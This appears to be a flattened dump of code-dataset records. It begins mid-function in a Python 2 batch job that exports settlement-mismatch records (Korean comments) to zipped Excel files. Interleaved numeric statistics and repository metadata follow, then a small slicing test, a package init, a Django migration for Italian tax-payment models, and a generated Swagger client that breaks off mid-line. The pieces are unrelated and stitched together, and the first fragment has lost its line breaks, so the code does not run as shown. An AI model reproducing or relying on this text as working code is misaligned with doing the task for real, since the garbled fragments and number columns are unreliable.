setUnicodeFormatToEucKr(file), compress_type=zipfile.ZIP_DEFLATED) except Exception as err: #에러 메시지 추가 putBatchMng({ "batchId" : str(batchId), "reqId" : queryData['empId'], "status" : "BAT-0003" , # 진행중 "errMsg" : str(err) }) jobStatus = 1 print("Error on line {}".format(sys.exc_info()[-1].tb_lineno)) print(err) finally: if excelZip != None: excelZip.close() if jobStatus == 0 : putBatchMng({ "batchId" : str(batchId), "reqId" : queryData['empId'], "status" : "BAT-0002" , # 진행중 "errMsg" : "" }) #성공 메시지 추가 print "성공" def makeHmSettlementErrorExcelDurationFile(queryData,rootPath): excelZip = None jobStatus = 0 batchId = None try: fileCnt = 1 makeDate = datetime.datetime.now().strftime('%Y%m%d') makeTime = str(int(round(time.time()*1000))) uploads = os.path.join(rootPath, "fileDownload" , "excel" , makeTime) if not os.path.isdir(uploads): os.makedirs(uploads) zipFileName = u'HM대사_불일치_'+ makeDate +'.zip' #작업 시작 메시지 추가 batchId = postBatchMng({ "reqId" : queryData['empId'], "status" : "BAT-0001" , # 진행중 "filePath" : os.path.join(uploads ,zipFileName), "content" : "HM대사_불일치", "errMsg" : "" })["data"]["batchId"] fileName = 'HM대사_불일치_' + makeDate + '_' + str(fileCnt) + '.xlsx' workbook = xlsxwriter.Workbook(os.path.join(uploads ,setUnicodeEncodeTypeToEucKr(fileName))) money_format = workbook.add_format() money_format.set_num_format('_- #,##0_-;[red]- #,##0_-;_- "-"_-;_-@_-') worksheet = workbook.add_worksheet() row = 0 worksheet.write(row, 0 ,"거래처") worksheet.write(row, 1 ,"영업일자") worksheet.write(row, 2 ,"지불상태") worksheet.write(row, 3 ,"주문번호") worksheet.write(row, 4 ,"승인번호") worksheet.write(row, 5 ,"거래금액") worksheet.write(row, 6 ,"불일치내역") while True : searchData = getData("/v1/settlement/hmStatistics/inconsistency" ,queryData,API_SERVER_BILLINGSERVICE) print searchData for data in searchData["resultList"]: row += 1 worksheet.write(row, 0 ,data["jobDivider"]) worksheet.write(row, 1 ,data["saleDt"]) worksheet.write(row, 2 ,data["dealType"]) worksheet.write(row, 3 ,data["dealNo"]) worksheet.write(row, 4 ,data["approvalNo"]) worksheet.write_number(row, 5 ,long(data["dealAmt"]), money_format) worksheet.write(row, 6 ,data["statusNm"]) if row >= EXCEL_FILE_MAKE_LIMT_COUNT : row = 0 fileCnt += 1 fileName = 'HM대사_불일치_' + makeDate + '_' + str(fileCnt) + '.xlsx' # 디비 조회건수 * 2 row 생성시 파일 재생성 workbook.close() workbook = xlsxwriter.Workbook(os.path.join(uploads ,setUnicodeEncodeTypeToEucKr(fileName))) money_format = workbook.add_format() money_format.set_num_format('_- #,##0_-;[red]- #,##0_-;_- "-"_-;_-@_-') worksheet = workbook.add_worksheet() worksheet.write(row, 0 ,data["jobDivider"]) worksheet.write(row, 1 ,data["saleDt"]) worksheet.write(row, 2 ,data["dealType"]) worksheet.write(row, 3 ,data["dealNo"]) worksheet.write(row, 4 ,data["approvalNo"]) worksheet.write_number(row, 5 ,long(data["dealAmt"]), money_format) worksheet.write(row, 6 ,data["statusNm"]) queryData["offset"] = queryData["offset"] + EXCEL_FILE_DOWNLOAD_COUNT if len(searchData["resultList"]) < EXCEL_FILE_DOWNLOAD_COUNT : break workbook.close() excelZip = zipfile.ZipFile(os.path.join(uploads ,zipFileName),'w') for folder, subfolders, files in os.walk(uploads): for file in files: if file.endswith('.xlsx'): excelZip.write(os.path.join(folder ,file), setUnicodeFormatToEucKr(file), compress_type=zipfile.ZIP_DEFLATED) except Exception as err: #에러 메시지 추가 putBatchMng({ "batchId" : str(batchId), "reqId" : queryData['empId'], "status" : "BAT-0003" , # 진행중 "errMsg" : str(err) }) jobStatus = 1 print("Error on line {}".format(sys.exc_info()[-1].tb_lineno)) print(err) finally: if excelZip != None: excelZip.close() if jobStatus == 0 : putBatchMng({ "batchId" : str(batchId), "reqId" : queryData['empId'], "status" : "BAT-0002" , # 진행중 "errMsg" : "" }) #성공 메시지 추가 print "성공"
45.214178
154
0.55696
2,871
29,977
5.707767
0.086033
0.108501
0.123452
0.016599
0.926893
0.919082
0.912248
0.90761
0.904681
0.90169
0
0.014615
0.303833
29,977
662
155
45.282477
0.770617
0.015979
0
0.883838
0
0
0.14692
0.03102
0
0
0
0
0
0
null
null
0
0.020202
null
null
0.026936
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
8
4cb12dc0ea8cd6390692c6975c23919054978cf8
97
py
Python
tests/slice.py
ZYAZP/python2
7dc3b62eff51e1decb4a408122e77630fdc1687d
[ "MIT" ]
1,062
2015-11-18T01:04:33.000Z
2022-03-29T07:13:30.000Z
tests/slice.py
ArrowSides/onelinerizer
7dc3b62eff51e1decb4a408122e77630fdc1687d
[ "MIT" ]
26
2015-11-17T06:58:07.000Z
2022-01-15T18:11:16.000Z
tests/slice.py
ArrowSides/onelinerizer
7dc3b62eff51e1decb4a408122e77630fdc1687d
[ "MIT" ]
100
2015-11-17T09:01:22.000Z
2021-09-12T13:58:28.000Z
print "meow"[:], "meow"[:2], "meow"[2:] print "meow"[::], "meow"[::-1], "meow"[:2:], "meow"[2::]
32.333333
56
0.443299
14
97
3.071429
0.285714
0.465116
0.604651
0.465116
0
0
0
0
0
0
0
0.056818
0.092784
97
2
57
48.5
0.431818
0
0
0
0
0
0.28866
0
0
0
0
0
0
0
null
null
0
0
null
null
1
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
1
0
8
4cdd54f9bb91f7d5c850d2e6b2aa3247e2c4688a
54
py
Python
test_project/__init__.py
ChihweiLHBird/test_project
bc4b4220a17bf944bbcbef371cbef03f84e799ac
[ "MIT" ]
null
null
null
test_project/__init__.py
ChihweiLHBird/test_project
bc4b4220a17bf944bbcbef371cbef03f84e799ac
[ "MIT" ]
null
null
null
test_project/__init__.py
ChihweiLHBird/test_project
bc4b4220a17bf944bbcbef371cbef03f84e799ac
[ "MIT" ]
1
2021-04-03T13:47:02.000Z
2021-04-03T13:47:02.000Z
from .base import testClass from .base import runtest
18
27
0.814815
8
54
5.5
0.625
0.363636
0.636364
0
0
0
0
0
0
0
0
0
0.148148
54
2
28
27
0.956522
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
e2226308764101e589e309ffd4f6a41a61c86fd7
38,002
py
Python
minigest/tributi/migrations/0001_initial.py
ctrlmaniac/minigest
2bfceb57e41c872e4112e24d0e6991164846888b
[ "MIT" ]
null
null
null
minigest/tributi/migrations/0001_initial.py
ctrlmaniac/minigest
2bfceb57e41c872e4112e24d0e6991164846888b
[ "MIT" ]
1
2021-09-22T19:10:20.000Z
2021-09-22T19:10:20.000Z
minigest/tributi/migrations/0001_initial.py
ctrlmaniac/minigest
2bfceb57e41c872e4112e24d0e6991164846888b
[ "MIT" ]
null
null
null
# Generated by Django 4.0 on 2021-12-25 20:46 import django.db.models.deletion from django.db import migrations, models import minigest.tributi.helpers.updirs class Migration(migrations.Migration): initial = True dependencies = [ ("contenttypes", "0002_remove_content_type_name"), ("anagrafica", "0001_initial"), ] operations = [ migrations.CreateModel( name="AccertamentoRata", fields=[ ( "id", models.BigAutoField( auto_created=True, primary_key=True, serialize=False, verbose_name="ID", ), ), ("data_scadenza", models.DateField()), ], options={ "verbose_name": "Accertamento Rata", "verbose_name_plural": "Accertamento Rate", }, ), migrations.CreateModel( name="Imposta", fields=[ ( "id", models.BigAutoField( auto_created=True, primary_key=True, serialize=False, verbose_name="ID", ), ), ( "polymorphic_ctype", models.ForeignKey( editable=False, null=True, on_delete=django.db.models.deletion.CASCADE, related_name="polymorphic_%(app_label)s.%(class)s_set+", to="contenttypes.contenttype", ), ), ], options={ "verbose_name": "Imposta", "verbose_name_plural": "Imposte", }, ), migrations.CreateModel( name="Quietanza", fields=[ ( "id", models.BigAutoField( auto_created=True, primary_key=True, serialize=False, verbose_name="ID", ), ), ("data_pagamento", models.DateField()), ( "file", models.FileField( blank=True, default=None, help_text="Carica la quietanza", null=True, upload_to=minigest.tributi.helpers.updirs.quietanza_dir, ), ), ( "imposta", models.ForeignKey( on_delete=django.db.models.deletion.CASCADE, related_name="quietanze", to="tributi.imposta", ), ), ], options={ "verbose_name": "Quietanza", "verbose_name_plural": "Quietanze", }, ), migrations.CreateModel( name="Accertamento", fields=[ ( "imposta_ptr", models.OneToOneField( auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to="tributi.imposta", ), ), ("data_elaborazione", models.DateField(blank=True, null=True)), ("data_ricezione", models.DateField()), ("codice_comunicazione", models.CharField(max_length=20)), ("codice_atto", models.CharField(max_length=20)), ( "file", models.FileField( blank=True, default=None, help_text="Carica l'atto/accertamento", null=True, upload_to=minigest.tributi.helpers.updirs.accertamento_dir, ), ), ], options={ "verbose_name": "Accertamento", "verbose_name_plural": "Accertamenti", }, bases=("tributi.imposta",), ), migrations.CreateModel( name="Tributo", fields=[ ( "imposta_ptr", models.OneToOneField( auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to="tributi.imposta", ), ), ("data_scadenza", models.DateField()), ("descrizione", models.CharField(max_length=100)), ( "f24", models.FileField( blank=True, default=None, help_text="Carica l'F24", null=True, upload_to=minigest.tributi.helpers.updirs.f24_dir, ), ), ( "soggetto_fiscale", models.ForeignKey( on_delete=django.db.models.deletion.CASCADE, related_name="tributi", to="anagrafica.soggettofiscale", ), ), ], options={ "verbose_name_plural": "Tributi", }, bases=("tributi.imposta",), ), migrations.CreateModel( name="QuietanzaSezRegione", fields=[ ( "id", models.BigAutoField( auto_created=True, primary_key=True, serialize=False, verbose_name="ID", ), ), ( "regione", models.CharField(max_length=2, verbose_name="codice regione"), ), ( "tributo", models.CharField(max_length=10, verbose_name="codice tributo"), ), ( "riferimento", models.CharField( max_length=10, verbose_name="rateazione/mese rif." ), ), ( "anno", models.CharField(max_length=4, verbose_name="anno di riferimento"), ), ( "debito", models.DecimalField( decimal_places=2, max_digits=19, verbose_name="importo a debito versato", ), ), ( "credito", models.DecimalField( decimal_places=2, default=0.0, max_digits=19, verbose_name="importo a credito compensato", ), ), ( "quietanza", models.ForeignKey( on_delete=django.db.models.deletion.CASCADE, related_name="sezione_regioni", to="tributi.quietanza", ), ), ], options={ "verbose_name": "Sezione Regioni", "verbose_name_plural": "Sezione Regioni", }, ), migrations.CreateModel( name="QuietanzaSezInps", fields=[ ( "id", models.BigAutoField( auto_created=True, primary_key=True, serialize=False, verbose_name="ID", ), ), ("sede", models.CharField(max_length=10, verbose_name="codice sede")), ( "causale", models.CharField(max_length=10, verbose_name="causale contributo"), ), ( "matricola", models.CharField( max_length=20, verbose_name="matricola INPS/codice INPS/filiale azienda", ), ), ("periodo_da", models.DateField()), ("periodo_a", models.DateField()), ( "debito", models.DecimalField( decimal_places=2, max_digits=19, verbose_name="importo a debito versato", ), ), ( "credito", models.DecimalField( decimal_places=2, default=0.0, max_digits=19, verbose_name="importo a credito compensato", ), ), ( "quietanza", models.ForeignKey( on_delete=django.db.models.deletion.CASCADE, related_name="sezione_inps", to="tributi.quietanza", ), ), ], options={ "verbose_name": "Sezione INPS", "verbose_name_plural": "Sezione INPS", }, ), migrations.CreateModel( name="QuietanzaSezInail", fields=[ ( "id", models.BigAutoField( auto_created=True, primary_key=True, serialize=False, verbose_name="ID", ), ), ("sede", models.CharField(max_length=10, verbose_name="codice sede")), ("ditta", models.CharField(max_length=20, verbose_name="codice ditta")), ("cc", models.CharField(max_length=5, verbose_name="C.C.")), ( "riferimento", models.CharField( max_length=10, verbose_name="numero di riferimento" ), ), ("causale", models.CharField(max_length=5)), ( "debito", models.DecimalField( decimal_places=2, max_digits=19, verbose_name="importo a debito versato", ), ), ( "credito", models.DecimalField( decimal_places=2, default=0.0, max_digits=19, verbose_name="importo a credito compensato", ), ), ( "quietanza", models.ForeignKey( on_delete=django.db.models.deletion.CASCADE, related_name="sezione_inail", to="tributi.quietanza", ), ), ], options={ "verbose_name": "Sezione INAIL", "verbose_name_plural": "Sezione INAIL", }, ), migrations.CreateModel( name="QuietanzaSezImuLocale", fields=[ ( "id", models.BigAutoField( auto_created=True, primary_key=True, serialize=False, verbose_name="ID", ), ), ( "ente", models.CharField( max_length=4, verbose_name="codice ente/codice comune" ), ), ("ravvedimento", models.BooleanField()), ("immobili_variati", models.BooleanField()), ("acconto", models.BooleanField()), ("saldo", models.BooleanField()), ("numero_immobili", models.IntegerField(default=0)), ( "tributo", models.CharField(max_length=10, verbose_name="codice tributo"), ), ( "mese", models.CharField( max_length=10, verbose_name="rateazione/mese rif." ), ), ( "anno", models.CharField(max_length=4, verbose_name="anno di riferimento"), ), ( "debito", models.DecimalField( decimal_places=2, max_digits=19, verbose_name="importo a debito versato", ), ), ( "credito", models.DecimalField( decimal_places=2, default=0.0, max_digits=19, verbose_name="importo a credito compensato", ), ), ( "quietanza", models.ForeignKey( on_delete=django.db.models.deletion.CASCADE, related_name="sezione_imu_tributi_locali", to="tributi.quietanza", ), ), ], options={ "verbose_name": "Sezione IMU e altri tributi locali", "verbose_name_plural": "Sezione IMU e altri tributi locali", }, ), migrations.CreateModel( name="QuietanzaSezErario", fields=[ ( "id", models.BigAutoField( auto_created=True, primary_key=True, serialize=False, verbose_name="ID", ), ), ( "ufficio", models.CharField( blank=True, default=None, max_length=3, null=True, verbose_name="codice ufficio", ), ), ( "atto", models.CharField( blank=True, default=None, max_length=11, null=True, verbose_name="codice atto", ), ), ( "tributo", models.CharField(max_length=10, verbose_name="codice tributo"), ), ( "riferimento", models.CharField( blank=True, default=None, max_length=10, null=True, verbose_name="rateazione/regione/prov./mese rif.", ), ), ( "anno", models.CharField(max_length=4, verbose_name="anno di riferimento"), ), ( "debito", models.DecimalField( decimal_places=2, max_digits=19, verbose_name="importo a debito versato", ), ), ( "credito", models.DecimalField( decimal_places=2, default=0.0, max_digits=19, verbose_name="importo a credito compensato", ), ), ( "quietanza", models.ForeignKey( on_delete=django.db.models.deletion.CASCADE, related_name="sezione_erario", to="tributi.quietanza", ), ), ], options={ "verbose_name": "Sezione Erario", "verbose_name_plural": "Sezione Erario", }, ), migrations.CreateModel( name="QuietanzaSezAltroEnte", fields=[ ( "id", models.BigAutoField( auto_created=True, primary_key=True, serialize=False, verbose_name="ID", ), ), ("ente", models.CharField(max_length=4, verbose_name="codice ente")), ("sede", models.CharField(max_length=10, verbose_name="codice sede")), ( "contributo", models.CharField(max_length=10, verbose_name="causale contributo"), ), ( "posizione", models.CharField(max_length=20, verbose_name="codice posizione"), ), ( "periodo_da", models.DateField(verbose_name="periodo di riferimento da"), ), ( "periodo_a", models.DateField(verbose_name="periodo di riferimento a"), ), ( "debito", models.DecimalField( decimal_places=2, max_digits=19, verbose_name="importo a debito versato", ), ), ( "credito", models.DecimalField( decimal_places=2, default=0.0, max_digits=19, verbose_name="importo a credito compensato", ), ), ( "quietanza", models.ForeignKey( on_delete=django.db.models.deletion.CASCADE, related_name="sezione_altri_enti", to="tributi.quietanza", ), ), ], options={ "verbose_name": "Sezione altri enti prevideziali e assicurativi", "verbose_name_plural": "Sezione altri enti prevideziali e assicurativi", }, ), migrations.CreateModel( name="AccertamentoRataSezErario", fields=[ ( "id", models.BigAutoField( auto_created=True, primary_key=True, serialize=False, verbose_name="ID", ), ), ( "tributo", models.CharField(max_length=10, verbose_name="codice tributo"), ), ( "riferimento", models.CharField( blank=True, default=None, max_length=10, null=True, verbose_name="rateazione/regione/prov./mese rif.", ), ), ( "anno", models.CharField(max_length=4, verbose_name="anno di riferimento"), ), ( "debito", models.DecimalField( decimal_places=2, max_digits=19, verbose_name="importo a debito versato", ), ), ( "accertamento", models.ForeignKey( on_delete=django.db.models.deletion.CASCADE, related_name="sezione_erario", to="tributi.accertamentorata", ), ), ], options={ "verbose_name": "Sezione Erario", "verbose_name_plural": "Sezione Erario", }, ), migrations.CreateModel( name="TributoSezRegione", fields=[ ( "id", models.BigAutoField( auto_created=True, primary_key=True, serialize=False, verbose_name="ID", ), ), ( "regione", models.CharField(max_length=2, verbose_name="codice regione"), ), ( "tributo", models.CharField(max_length=10, verbose_name="codice tributo"), ), ( "riferimento", models.CharField( max_length=10, verbose_name="rateazione/mese rif." ), ), ( "anno", models.CharField(max_length=4, verbose_name="anno di riferimento"), ), ( "debito", models.DecimalField( decimal_places=2, max_digits=19, verbose_name="importo a debito versato", ), ), ( "imposta", models.ForeignKey( on_delete=django.db.models.deletion.CASCADE, related_name="sezione_regioni", to="tributi.tributo", ), ), ], options={ "verbose_name": "Sezione Regioni", "verbose_name_plural": "Sezione Regioni", }, ), migrations.CreateModel( name="TributoSezInps", fields=[ ( "id", models.BigAutoField( auto_created=True, primary_key=True, serialize=False, verbose_name="ID", ), ), ("sede", models.CharField(max_length=10, verbose_name="codice sede")), ( "causale", models.CharField(max_length=10, verbose_name="causale contributo"), ), ( "matricola", models.CharField( max_length=20, verbose_name="matricola INPS/codice INPS/filiale azienda", ), ), ("periodo_da", models.DateField()), ("periodo_a", models.DateField()), ( "debito", models.DecimalField( decimal_places=2, max_digits=19, verbose_name="importo a debito versato", ), ), ( "imposta", models.ForeignKey( on_delete=django.db.models.deletion.CASCADE, related_name="sezione_inps", to="tributi.tributo", ), ), ], options={ "verbose_name": "Sezione INPS", "verbose_name_plural": "Sezione INPS", }, ), migrations.CreateModel( name="TributoSezInail", fields=[ ( "id", models.BigAutoField( auto_created=True, primary_key=True, serialize=False, verbose_name="ID", ), ), ("sede", models.CharField(max_length=10, verbose_name="codice sede")), ("ditta", models.CharField(max_length=20, verbose_name="codice ditta")), ("cc", models.CharField(max_length=5, verbose_name="C.C.")), ( "riferimento", models.CharField( max_length=10, verbose_name="numero di riferimento" ), ), ("causale", models.CharField(max_length=5)), ( "debito", models.DecimalField( decimal_places=2, max_digits=19, verbose_name="importo a debito versato", ), ), ( "imposta", models.ForeignKey( on_delete=django.db.models.deletion.CASCADE, related_name="sezione_inail", to="tributi.tributo", ), ), ], options={ "verbose_name": "Sezione INAIL", "verbose_name_plural": "Sezione INAIL", }, ), migrations.CreateModel( name="TributoSezImuLocale", fields=[ ( "id", models.BigAutoField( auto_created=True, primary_key=True, serialize=False, verbose_name="ID", ), ), ( "ente", models.CharField( max_length=4, verbose_name="codice ente/codice comune" ), ), ("ravvedimento", models.BooleanField()), ("immobili_variati", models.BooleanField()), ("acconto", models.BooleanField()), ("saldo", models.BooleanField()), ("numero_immobili", models.IntegerField(default=0)), ( "tributo", models.CharField(max_length=10, verbose_name="codice tributo"), ), ( "mese", models.CharField( max_length=10, verbose_name="rateazione/mese rif." ), ), ( "anno", models.CharField(max_length=4, verbose_name="anno di riferimento"), ), ( "debito", models.DecimalField( decimal_places=2, max_digits=19, verbose_name="importo a debito versato", ), ), ( "imposta", models.ForeignKey( on_delete=django.db.models.deletion.CASCADE, related_name="sezione_imu_tributi_locali", to="tributi.tributo", ), ), ], options={ "verbose_name": "Sezione IMU e altri tributi locali", "verbose_name_plural": "Sezione IMU e altri tributi locali", }, ), migrations.CreateModel( name="TributoSezErario", fields=[ ( "id", models.BigAutoField( auto_created=True, primary_key=True, serialize=False, verbose_name="ID", ), ), ( "ufficio", models.CharField( blank=True, default=None, max_length=3, null=True, verbose_name="codice ufficio", ), ), ( "atto", models.CharField( blank=True, default=None, max_length=11, null=True, verbose_name="codice atto", ), ), ( "tributo", models.CharField(max_length=10, verbose_name="codice tributo"), ), ( "riferimento", models.CharField( blank=True, default=None, max_length=10, null=True, verbose_name="rateazione/regione/prov./mese rif.", ), ), ( "anno", models.CharField(max_length=4, verbose_name="anno di riferimento"), ), ( "debito", models.DecimalField( decimal_places=2, max_digits=19, verbose_name="importo a debito versato", ), ), ( "imposta", models.ForeignKey( on_delete=django.db.models.deletion.CASCADE, related_name="sezione_erario", to="tributi.tributo", ), ), ], options={ "verbose_name": "Sezione Erario", "verbose_name_plural": "Sezione Erario", }, ), migrations.CreateModel( name="TributoSezAltroEnte", fields=[ ( "id", models.BigAutoField( auto_created=True, primary_key=True, serialize=False, verbose_name="ID", ), ), ("ente", models.CharField(max_length=4, verbose_name="codice ente")), ("sede", models.CharField(max_length=10, verbose_name="codice sede")), ( "contributo", models.CharField(max_length=10, verbose_name="causale contributo"), ), ( "posizione", models.CharField(max_length=20, verbose_name="codice posizione"), ), ( "periodo_da", models.DateField(verbose_name="periodo di riferimento da"), ), ( "periodo_a", models.DateField(verbose_name="periodo di riferimento a"), ), ( "debito", models.DecimalField( decimal_places=2, max_digits=19, verbose_name="importo a debito versato", ), ), ( "imposta", models.ForeignKey( on_delete=django.db.models.deletion.CASCADE, related_name="sezione_altri_enti", to="tributi.tributo", ), ), ], options={ "verbose_name": "Sezione altri enti prevideziali e assicurativi", "verbose_name_plural": "Sezione altri enti prevideziali e assicurativi", }, ), migrations.CreateModel( name="CartellaPagamento", fields=[ ( "id", models.BigAutoField( auto_created=True, primary_key=True, serialize=False, verbose_name="ID", ), ), ("numero", models.CharField(max_length=50)), ("data_ricezione", models.DateField()), ( "totale", models.DecimalField( decimal_places=2, max_digits=19, verbose_name="importo a debito" ), ), ( "file", models.FileField( blank=True, default=None, help_text="Carica la cartella di pagamento", null=True, upload_to=minigest.tributi.helpers.updirs.cartella_pagamento_dir, ), ), ( "soggetto_fiscale", models.ForeignKey( on_delete=django.db.models.deletion.CASCADE, related_name="cartelle", to="anagrafica.soggettofiscale", ), ), ( "tributi", models.ManyToManyField( blank=True, default=None, related_name="cartelle", to="tributi.Tributo", ), ), ], options={ "verbose_name": "Cartella di Pagamento", "verbose_name_plural": "Cartelle di Pagamento", }, ), migrations.CreateModel( name="AccertamentoSezErario", fields=[ ( "id", models.BigAutoField( auto_created=True, primary_key=True, serialize=False, verbose_name="ID", ), ), ( "tributo", models.CharField(max_length=10, verbose_name="codice tributo"), ), ( "riferimento", models.CharField( blank=True, default=None, max_length=10, null=True, verbose_name="rateazione/regione/prov./mese rif.", ), ), ( "anno", models.CharField(max_length=4, verbose_name="anno di riferimento"), ), ( "debito", models.DecimalField( decimal_places=2, max_digits=19, verbose_name="importo a debito versato", ), ), ( "accertamento", models.ForeignKey( on_delete=django.db.models.deletion.CASCADE, related_name="sezione_erario", to="tributi.accertamento", ), ), ], options={ "verbose_name": "Sezione Erario", "verbose_name_plural": "Sezione Erario", }, ), migrations.AddField( model_name="accertamentorata", name="accertamento", field=models.ForeignKey( on_delete=django.db.models.deletion.CASCADE, related_name="rate", to="tributi.accertamento", ), ), migrations.AddField( model_name="accertamento", name="imposte", field=models.ManyToManyField( related_name="accertamenti", to="tributi.Tributo" ), ), migrations.AddField( model_name="accertamento", name="soggetto_fiscale", field=models.ForeignKey( on_delete=django.db.models.deletion.CASCADE, related_name="accertamenti", to="anagrafica.soggettofiscale", ), ), ]
35.549111
89
0.363349
2,282
38,002
5.869413
0.082822
0.111692
0.069882
0.093176
0.859489
0.855607
0.840078
0.83291
0.819471
0.815888
0
0.012045
0.549945
38,002
1,068
90
35.582397
0.771093
0.001132
0
0.804717
1
0
0.141081
0.011882
0
0
0
0
0
1
0
false
0
0.022642
0
0.026415
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
1
0
0
0
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
e2938d28b16a4a23721a8b9a09d94e55696ad641
35
py
Python
apps/snake/__init__.py
IBM-Developer-Korea/developer-badge-2018-apps
5ace7a8bbc019fc819787e2c85c10bae3d706062
[ "Apache-2.0" ]
9
2018-12-25T06:57:39.000Z
2019-09-29T00:29:16.000Z
apps/snake/__init__.py
IBM-Developer-Korea/developer-badge-2018-apps
5ace7a8bbc019fc819787e2c85c10bae3d706062
[ "Apache-2.0" ]
1
2019-04-11T07:23:04.000Z
2019-04-11T08:05:29.000Z
apps/snake/__init__.py
IBM-Developer-Korea/developer-badge-2018-apps
5ace7a8bbc019fc819787e2c85c10bae3d706062
[ "Apache-2.0" ]
9
2018-12-25T06:57:41.000Z
2019-09-29T00:29:20.000Z
def main(): import snake.snake
11.666667
22
0.657143
5
35
4.6
0.8
0
0
0
0
0
0
0
0
0
0
0
0.228571
35
2
23
17.5
0.851852
0
0
0
0
0
0
0
0
0
0
0
0
1
0.5
true
0
0.5
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
1
0
1
0
0
7
2c3cc51217263ffd196079ab37a6a220fa4ec83f
67,749
py
Python
TweakApi/apis/product_tag_api.py
tweak-com-public/tweak-api-client-python
019f86da11fdb12683d516f8f37db5d717380bcc
[ "Apache-2.0" ]
null
null
null
TweakApi/apis/product_tag_api.py
tweak-com-public/tweak-api-client-python
019f86da11fdb12683d516f8f37db5d717380bcc
[ "Apache-2.0" ]
null
null
null
TweakApi/apis/product_tag_api.py
tweak-com-public/tweak-api-client-python
019f86da11fdb12683d516f8f37db5d717380bcc
[ "Apache-2.0" ]
null
null
null
# coding: utf-8 """ tweak-api Tweak API to integrate with all the Tweak services. You can find out more about Tweak at <a href='https://www.tweak.com'>https://www.tweak.com</a>, #tweak. OpenAPI spec version: 1.0.8-beta.0 Generated by: https://github.com/swagger-api/swagger-codegen.git Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ from __future__ import absolute_import import sys import os import re # python 2 and python 3 compatibility library from six import iteritems from ..configuration import Configuration from ..api_client import ApiClient class ProductTagApi(object): """ NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. Ref: https://github.com/swagger-api/swagger-codegen """ def __init__(self, api_client=None): config = Configuration() if api_client: self.api_client = api_client else: if not config.api_client: config.api_client = ApiClient() self.api_client = config.api_client def product_tags_change_stream_get(self, **kwargs): """ Create a change stream. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.product_tags_change_stream_get(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str options: :return: file If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.product_tags_change_stream_get_with_http_info(**kwargs) else: (data) = self.product_tags_change_stream_get_with_http_info(**kwargs) return data def product_tags_change_stream_get_with_http_info(self, **kwargs): """ Create a change stream. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.product_tags_change_stream_get_with_http_info(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str options: :return: file If the method is called asynchronously, returns the request thread. """ all_params = ['options'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method product_tags_change_stream_get" % key ) params[key] = val del params['kwargs'] collection_formats = {} resource_path = '/ProductTags/change-stream'.replace('{format}', 'json') path_params = {} query_params = {} if 'options' in params: query_params['options'] = params['options'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml']) # Authentication setting auth_settings = ['access_token'] return self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='file', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only'), collection_formats=collection_formats) def product_tags_change_stream_post(self, **kwargs): """ Create a change stream. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.product_tags_change_stream_post(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str options: :return: file If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.product_tags_change_stream_post_with_http_info(**kwargs) else: (data) = self.product_tags_change_stream_post_with_http_info(**kwargs) return data def product_tags_change_stream_post_with_http_info(self, **kwargs): """ Create a change stream. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.product_tags_change_stream_post_with_http_info(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str options: :return: file If the method is called asynchronously, returns the request thread. """ all_params = ['options'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method product_tags_change_stream_post" % key ) params[key] = val del params['kwargs'] collection_formats = {} resource_path = '/ProductTags/change-stream'.replace('{format}', 'json') path_params = {} query_params = {} header_params = {} form_params = [] local_var_files = {} if 'options' in params: form_params.append(('options', params['options'])) body_params = None # HTTP header `Accept` header_params['Accept'] = 